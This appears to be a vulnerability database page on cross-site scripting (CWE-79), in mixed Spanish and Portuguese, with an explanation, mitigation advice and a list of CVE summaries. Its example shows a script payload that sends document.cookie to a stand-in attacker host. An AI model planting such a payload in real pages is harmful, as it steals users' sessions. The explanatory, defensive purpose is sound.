Fallos del tipo CWE-79

30.669 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-24728MEDIUMCross-site Scripting in CKEditor4EPSS 1.2%CVE-2022-1985MEDIUMDownload Manager <= 3.2.42 - Reflected Cross-Site ScriptingEPSS 1.2%CVE-2024-40482CRITICALAn Unrestricted file upload vulnerability was found in "/Membership/edit_member.php" of Kashipara Live Membership System v1.0, which allows EPSS 1.2%CVE-2024-41810MEDIUMHTML injection in HTTP redirect bodyEPSS 1.2%CVE-2022-1091—Safe SVG < 1.9.10 - SVG Sanitisation BypassEPSS 1.2%CVE-2018-15406—Cisco UCS Director Stored Cross-Site Scripting VulnerabilityEPSS 1.2%CVE-2021-43584MEDIUMDOM-based Cross Site Scripting (XSS vulnerability in 'Tail Event Logs' functionality in Nagios Nagios Cross-Platform Agent (NCPA) before 2.4EPSS 1.2%CVE-2023-31664MEDIUMA reflected cross-site scripting (XSS) vulnerability in /authenticationendpoint/login.do of WSO2 API Manager before 4.2.0 allows attackers tEPSS 1.2%CVE-2019-14863HIGHThere is a vulnerability in all angular versions before 1.5.0-beta.0, where after escaping the context of the web application, the web appliEPSS 1.2%CVE-2020-8127—Insufficient validation in cross-origin communication (postMessage) in reveal.js version 3.9.1 and earlier allow attackers to perform cross-EPSS 1.2%CVE-2024-7815MEDIUMCodeAstro Online Railway Reservation System Update Employee Page admin-update-employee.php cross site scriptingEPSS 1.2%CVE-2025-52879MEDIUMIn JetBrains TeamCity before 2025.03.3 reflected XSS in the NPM Registry integration was possibleEPSS 1.2%CVE-2018-14655MEDIUMA flaw was found in Keycloak 3.4.3.Final, 4.0.0.Beta2, 4.3.0.Final. When using 'response_mode=form_post' it is possible to inject arbitrary EPSS 1.2%CVE-2022-43144MEDIUMA cross-site scripting (XSS) vulnerability in Canteen Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via aEPSS 1.2%CVE-2023-0776HIGHRemote Code Execution in Baicells QRTB PlatformEPSS 1.2%CVE-2021-32808HIGHCross-site scripting in ckeditor via abuse of undo functionalityEPSS 1.2%CVE-2022-46870MEDIUMApache Zeppelin: Stored XSS in note permissionsEPSS 1.2%CVE-2022-35230LOWReflected XSS in graphs page of Zabbix FrontendEPSS 1.2%CVE-2023-23491MEDIUMThe Quick Event Manager WordPress Plugin, version < 9.7.5, is affected by a reflected cross-site scripting vulnerability in the 'category' pEPSS 1.2%CVE-2024-34058HIGHThe WebTop package for NethServer 7 and 8 allows stored XSS (for example, via the Subject field if an e-mail message).EPSS 1.2%